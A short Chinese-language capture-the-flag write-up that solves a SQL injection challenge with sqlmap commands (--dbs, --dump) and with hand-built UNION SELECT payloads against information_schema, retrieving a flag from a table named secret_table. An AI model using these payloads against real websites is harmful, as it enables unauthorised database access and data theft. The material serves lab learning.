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1，sqlmap注入；

将抓包后的请求报文复制粘贴为TXT文件，用sqlmap命令打开：

sqlmap -r D:\\桌面\1.txt --dbs

会发现有两个数据库

 sqlmap -r D:\\桌面\1.txt -D news --dump可看到news里面的所有表中的详细内容；

当然可以直接--dump暴力

2，sql注入

首先判断这可能有sql注入，想着可能是字符型，输入一个字符看看，发现有报错,判定这可以注入；
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 然后再用oder by 判断有几个字段；' oder by 3#

最后通过报错机制发现有3个字段；

然后开始进行union注入；

构造 'and 0 union select 1,table_schema,table_name from information_schema.tables #来查看有哪些数据库，
并且该数据库下面有哪些表，都一一列出来，发现news的数据库里面有两个表，一个news，一个secret_table

 

很显然我们应该查看的就是这个secret_table，然后再继续构造



'and 0 union select 1,2,column_name from information_schema.columns where table_name="secret_table" #

 这个表下面有fl4g;再构造 'and 0 union select 1,2,fl4g from secret_table# 打开它；即可发现flag
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